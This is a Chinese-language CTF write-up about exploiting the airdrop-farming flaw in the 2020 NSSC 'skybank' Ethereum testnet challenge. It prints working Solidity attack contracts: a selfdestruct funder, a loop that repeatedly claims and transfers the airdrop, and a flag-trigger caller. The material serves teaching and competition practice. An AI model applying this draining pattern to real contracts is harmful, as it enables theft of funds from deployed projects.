零時科技丨CTF技能寶典之智能合約 薅羊毛漏洞

2021-01-19 零時科技new

前言

近年來,各個大型CTF(Capture The Flag,中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式)比賽中都有了區塊鏈攻防的身影,而且出現的題目絕大多數都是區塊鏈智能合約攻防。此系列文章我們主要以智能合約攻防為中心,來剖析智能合約攻防的要點,前兩篇我們分享了合約反編譯,反彙編的基礎內容。後續的文章中,我們會繼續分享CTF比賽中智能合約常見題型(重入,整數溢出,空投,隨機數可控等)及解題思路,相信會給讀者帶來不一樣的收穫。

上篇文章中我們分享了CTF比賽中常考的整數溢出漏洞題型,其中用到了變量覆蓋等多種攻擊技巧,需要讀者仔細推敲。本篇文章我們繼續分享CTF比賽中的空投題型,也就是薅羊毛。在系列文章整數溢出題型中,也用到了空投,但只是調用一次空投達到觸發其他漏洞的判斷條件,並沒有進行批量獲取空投。

本篇我們以2020年NSSC CTF上skybank題目為例,分享智能合約薅羊毛的題型,該題型也是多次出現在CTF的賽場。相對於之前的系列文章內容,本篇薅羊毛題型更容易理解。

題目地址:https://ropsten.etherscan.io/address/0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273#code

題目分析

題目提示

原始合約的opcode需進行反編譯;空投及最終判斷函數分別為gether()和ObtainFlag();觸發ObtainFlag()函數事件event則攻擊成功;需給合約提供資金。合約源碼

查看合約題目,合約存在0.62ether,沒有給出合約源碼,如下圖:

由於拿到題目後只有合約的opcode,所以需要進行逆向,這裡我們推薦Online Solidity Decompiler在線網站(https://ethervm.io/decompile),具體逆向時的源碼還原我們不再贅述,需要學習的同學可移步系列文章反編譯篇,反彙編篇。

以下為逆向後的合約代碼:

pragma solidity ^0.4.24;contract skybank{ mapping(address => uint) public balances; event sendflag(string base64email,string md5namectf); bytes20 addr = bytes20(msg.sender); function ObtainFlag(string base64email,string md5namectf){ require(balances[msg.sender] >= 1000000000); emit sendflag(base64email,md5namectf); } function gether() public { require(balances[msg.sender] == 0); balances[msg.sender] += 10000000; } function Transfer(address to, uint bur) public { require(bur == balances[msg.sender]); balances[to] += bur; balances[msg.sender] -= bur; }}

合約分析

先來看題目最終的判斷函數ObtainFlag():

function ObtainFlag(string base64email,string md5namectf){ require(balances[msg.sender] >= 1000000000); emit sendflag(base64email,md5namectf);}

從該函數可以看出,obtainFlag()函數傳入兩個參數(base64email,md5namectf),函數第一行代碼require(balances[msg.sender] >= 1000000000);會判斷調用者地址餘額是否大於等於1000000000 wei,如果滿足該條件,則執行emit sendflag(base64email,md5namectf);代碼,從題目可以得出,只要參賽者觸發sendflag事件並將參數輸出表示獲取flag成功。

由於參賽者初始調用題目合約skybank時,調用地址在所屬合約的資金為0,所以需要通過合約邏輯獲取資金,繼續來看獲取空投函數gether():

function gether() public { require(balances[msg.sender] == 0); balances[msg.sender] += 10000000;}

gether()函數中,第一句代碼require(balances[msg.sender] == 0);判斷當前調用者的地址是否為0,如果滿足條件,則給該調用者加10000000 wei的資金,我們最終觸發sendflag事件的ObtainFlag()函數中,需要1000000000 wei,所以只要調用gether超過100次就可以觸發sendflag事件。

繼續分析合約的轉帳函數Transfer():

function Transfer(address to, uint bur) public { require(bur == balances[msg.sender]); balances[to] += bur; balances[msg.sender] -= bur;}

Transfer()函數中,首先第一行代碼require(bur == balances[msg.sender]);判斷傳入的參數bur和目前調用者地址的餘額是否相等,如果條件滿足,將該餘額轉至傳入的地址to中,之後將調用者地址的餘額減掉。這裡非常重要的一點是:轉帳之後的調用者地址餘額再次變為0,也就是說我們可以重複該函數進行轉帳。

解題思路

通過以上skybank題目合約分析,可以總結出兩種解題思路:

第一種:

通過A地址調用gether()函數獲取空投調用Transfer()函數將A地址餘額轉至B地址重新使用A地址調用gether()函數獲取空投,並將餘額轉至B地址(不斷循環)使用B地址調用ObtainFlag()並觸發事件第二種:

使用多個地址調用gether()獲取空投將獲取空投匯聚至固定地址通過該固定地址調用ObtainFlag()並觸發事件攻擊演示

我們進行第一種解題思路的攻擊演示,使用Remix+MetaMask對攻擊合約進行部署調用

1. 自毀給題目合約轉幣

由於題目合約的初始狀態沒有ether,故我們通過自毀函數,強行將ether轉入題目合約地址,雖然當前題目合約有一定資金。為了攻擊完整性,也演示一次自毀。

構造自毀合約:

pragma solidity ^0.4.24;contract burn { function kill() public payable { selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273)); }}

部署burn合約,並利用kill()函數帶入0.02Ether進行自毀,將Ether發送到題目合約地址。

2. 使用A地址部署最終調用者合約attacker2(合約地址D)

調用代碼

pragma solidity ^0.4.24;interface skybankInterface { function ObtainFlag(string base64email, string md5namectf);}contract attacker2 { skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273); function exploit() { target.ObtainFlag("zxc", "000"); } }

部署成功

3.使用B地址部署獲取空投的合約attacker(合約地址E)

調用代碼:Transfer傳入的地址參數為D地址

pragma solidity ^0.4.24;interface skybankInterface { function gether() external; function Transfer(address to, uint256 env) external;}contract attacker { skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273); function exploit(uint256 len) public payable { for(uint256 i=0; i<len; i++){ target.gether(); target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067,10000000); } }}

部署成功

調用exploit()函數並傳入參數101,獲取101次空投

獲取空投成功

4.使用A地址調用D合約的exploit()函數

通過獲取到的ether調用exploit()函數觸發題目合約的sendflag事件

成功觸發事件

至此,攻擊完成

總結

本篇文章中,我們通過2020NSSC比賽中的skybank智能合約題目,詳細分析了合約存在的薅羊毛漏洞問題,提供了解題思路並進行了攻擊演示,相對於系列文章前幾篇,本篇比較簡單易懂,有興趣的同學可以嘗試復現。下一篇我們會繼續分享CTF智能合約經典題目,請大家持續關注。

相關焦點

  • 零時科技丨CTF技能寶典之智能合約#薅羊毛漏洞
    此系列文章我們主要以智能合約攻防為中心,來剖析智能合約攻防的要點,前兩篇我們分享了合約反編譯,反彙編的基礎內容。後續的文章中,我們會繼續分享CTF比賽中智能合約常見題型(重入,整數溢出,空投,隨機數可控等)及解題思路,相信會給讀者帶來不一樣的收穫。
  • 零時科技丨CTF技能寶典之智能合約 整數溢出漏洞
    前言近年來,各個大型CTF(Capture The Flag,中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式)比賽中都有了區塊鏈攻防的身影,而且出現的題目絕大多數都是區塊鏈智能合約攻防。此系列文章我們主要以智能合約攻防為中心,來剖析智能合約攻防的要點,前兩篇我們分享了合約反編譯,反彙編的基礎內容。
  • 薅羊毛什麼意思什麼梗 拼多多優惠券漏洞事件全揭秘
    ­  薅羊毛什麼意思什麼梗 拼多多優惠券漏洞事件全揭秘  1月20日凌晨,部分羊毛黨迎來狂歡。­  有消息稱,電商平臺拼多多出現漏洞,平臺用戶僅支付少量資金即可不限量領取100元無門檻券。據網絡上流傳的真真假假的截圖中顯示,有用戶稱熬夜藉助漏洞充值了幾萬元話費,更有消息稱拼多多一夜之間被薅走200億元。
  • 這薅羊毛牛了!網友利用必勝客漏洞,以三千多就能入手小米10
    【微創WEC科技】昨日,北京發放了122億北京消費券,對於北京人民來說確實是個不錯的福利,大家可以用這些消費券買自己需要或者喜歡的東西,非常羨慕北京的小夥伴了。京東還給北京的小夥伴發了滿2000元打九折的優惠卷,有微博網友針對這個發布了薅羊毛教程,他以這一系列「騷操作」,3288元的價格就入手了小米10 8GB+256GB版本。
  • 零時科技 | 智能合約安全系列文章之反編譯篇
    本此系列文章我們也以智能合約攻防為中心,來刨析智能合約攻防的要點,包括合約反編譯,CTF常見題型及解題思路,相信會給讀者帶來不一樣的收穫。由於CTF比賽中的智能合約原始碼沒有開源,所以就需要從EVM編譯後的opcode進行逆向來得到原始碼邏輯,之後根據反編譯後的原始碼編寫攻擊合約,最終拿到flag。
  • 利用系統漏洞 「薅羊毛」,27人盜刷「快手」672萬元獲刑
    利用系統漏洞 「薅羊毛」,27人盜刷「快手」672萬元獲刑 每日經濟新聞 2020-04-15 12:00:54
  • AOFEX(A網)上線BTC千倍合約,又發福利了,大家快來薅羊毛
    AOFEX(A網)上線BTC千倍合約,又發福利了,大家快來薅羊毛回望過去,站在每一個時間節點都有大大小小機會。而往前看,似乎卻一片迷茫。希望通過學習,提升認知,找到方向。如UNI的超級空投活動再次掀起了空投熱潮,每天輾轉於電報、推特、Facebook 之間,就是希望能在碰上像UNI這樣的一整隻羊的空投,但這樣的空投可遇不可求,大多數空投都是浪費時間精力,與其擼這樣的空投不如找點實實在在的羊毛薅下,而福利最多的地方當屬交易所,比如A網(AOFEX)。
  • 薅羊毛小項目,月薅十萬,做嗎?
    網紅up主發現漏洞後立即在其「羊毛群」中號召粉絲前去「薅羊毛」,又在商家無法發貨的情況下,惡意投訴「商家虛假宣傳」以獲取賠付保證金,導致該店鋪直接關店,一家店鋪轉瞬間,就活活被薅死了。儘管之後,平臺做了相應的保護,但是鮮為人知的是,「羊毛」的世界裡,這只是一個小小的案例,天下商人苦羊毛黨久矣。2015年,快操盤推出「充1分錢返500元」的活動,無限制提款,一夜被薅近億。
  • CTF從入門到提升(二)
    推薦書:A方向:RE for BeginnersIDA Pro權威指南揭秘家庭路由器0day漏洞挖掘技術自己定作業系統黑客攻防技術寶典:系統實戰篇 有各種系統的逆向講解B方向:Web應用安全權威指南 最推薦小白
  • 男子「薅羊毛」充值91年愛奇藝會員,官方:已刑拘
    為了刺激用戶消費,許多平臺都推出了積分兌換禮品活動,因此,也就出現了許多專門收集各類商家優惠信息的「羊毛黨」,他們利用這些優惠信息為自己謀取利益的行為也被成為「薅羊毛」。合法參與平臺活動的薅羊毛並沒有什麼關係,但有些人卻會利用平臺的漏洞,惡意刷取積分薅羊毛,「謀利」也就成了「牟利」。據澎湃新聞報導,今年10月10日,濱江某小說運營公司發現有人使用非法軟體,繞開了APP抽獎系統的次數限制,反覆刷取積分。在積分活動中,兌換成了各種網絡會員,導致該公司損失1萬餘元。
  • 薅羊毛是什麼意思什麼梗 薅羊毛 羊毛黨的含義及出處
    薅羊毛是什麼意思什麼梗?薅羊毛本是沿襲春晚小品中白雲大媽的「薅羊毛織毛衣」的做法,被定義為「薅羊毛」。現指以年輕人為主的群體對銀行等金融機構及各類商家開展的一些優惠活動產生了濃厚興趣,並專門出現了這樣一批人,搜集各個銀行等金融機構及各類商家的優惠信息,在網絡和朋友圈子中廣為傳播,這種行為被稱作薅(hāo)羊毛。下面就跟360常識網一起具體看看薅羊毛等相關內容。
  • 小夥兒鑽漏洞「薅羊毛」 刑拘套餐了解一下
    「雙十一」來了「雙十二」還會遠嗎眼看年終購物季來臨羊毛黨紛紛上線利用非法軟體肆無忌憚薅起電商的羊毛近日,大興警方破獲一起利用企業內網防控手段漏洞的「薅羊毛」案件,及時為電商企業止損,維護清朗的網購環境。
  • 起底職業羊毛黨:群控千臺手機薅羊毛 已成黑產鏈條
    新京報記者查閱海澱檢察院官微發現,在這一案例中,黃小天針對某母嬰APP的優惠活動,使用技術手段批量虛假註冊帳號,並利用這些帳號「薅羊毛」,是不折不扣的「羊毛黨」黑產。「在這一案例中,羊毛黨利用了APP的技術漏洞,設計出了針對薅羊毛的程序,這一手法在『羊圈』裡已屬於職業水平了。」
  • 智能合約:Web3.0時代規則的制定者
    如果A、B二人通過區塊鏈的智能合約來打賭,雙方需要同時在智能合約中放入100塊的資產,智能合約會根據結果自動執行將勝利者的本金和贏得的獎勵返還給勝利者。這個過程中無需擔心誰會抵賴,也不需要拉入一個第三方做仲裁,最大限度地減少惡意和意外情況發生,還能夠減少成本。從本質上講,智能合約就是一套以數字形式定義的承諾,由代碼定義也由代碼強制執行。
  • 薅羊毛啦!「小米11」一分錢可以買充電套裝!
    小米11跟隨著蘋果12的步伐來了,學習庫克的「充電器不再配送,需要另外購買,並開始試水一款基礎款的無充電器,一款象徵性收0.01元另外購買氮化鎵GAN充電器1月5日,一名顧客就小米的一分錢的充電器來了次薅羊毛體驗。
  • 兩男子製作非法「薅羊毛」軟體出售,騙取優惠券牟利,被刑拘!
    北京市公安局10日通報,警方破獲一起利用企業內網防控手段漏洞的「薅羊毛」案件。兩男子一個開發製作非法「薅羊毛」軟體出售,一個在網上推銷非法軟體及騙取的商家優惠券牟利,目前均已被警方刑事拘留。9月底,一家電商平臺的員工報警稱,有一些消費群體利用「薅羊毛」軟體,從該公司網站騙取新人優惠券批量下單,套取商家優惠補貼,涉及訂單2000餘筆,造成公司損失近6萬元。接報後,市公安局大興分局迅速開展調查工作。
  • 最近撿漏群又火了,專業薅各種羊毛,網友:背後套路不少
    羊毛黨利用平臺各種優惠政策、失誤、漏洞,大量買進低價商品,然後在出售變現,比如幾毛錢一包的衛生紙、幾元錢一袋的大米,都是些硬通貨。有些人因此暴富,月賺幾十萬也不在話下,於是很多人乾脆辭去了正式工作,專心薅羊毛,有些人為了賺的更多一點,便建立了撿漏群、羊毛群…。
  • 中國網際網路巨頭們,別再薅窮人的羊毛了,看看美科技圈在幹啥
    但不得不提的是,國內的網際網路公司有一個通病,那就是只做網際網路,並不想涉足其它領域,而且喜歡「薅羊毛」,尤其是普通消費者的「羊毛」。言外之意就是,這些公司更在乎的是營收和利潤,而不是整個行業的發展前途,它們只注重眼前的利益。
  • 博主帶上萬粉絲「薅羊毛」逼果農求饒事件的法與情
    ……11月8日,在立冬這個寒冷的時節這起「薅羊毛」事件火了!博主抓住商家標價失誤的漏洞,帶領萬名粉絲「薅羊毛」的行為是否違法?除了法律層面的分析,這件事還應帶給我們哪些思考呢?下面,讓我們來聽聽專業律師的解讀:一、北京市煒衡律師事務所餘菲菲律師:賣家可通過申請撤銷合同來維權。首先,根據《中華人民共和國合同法》第13條的規定,賣家與買家在法律上構成買賣合同法律關係。
  • 三星商城出bug被薅羊毛,解決方案:手機不發貨送你根耳機
    近日,為回饋新老用戶,三星官網上線了S10系列的「以舊換新」活動,有網友發現除了以舊換新還可以優惠選購三星S10手機,優惠額度高達3000元,這漏洞出的有點大了,這不是三星的忠粉,碰到這麼大力度優惠也要出手試一試了。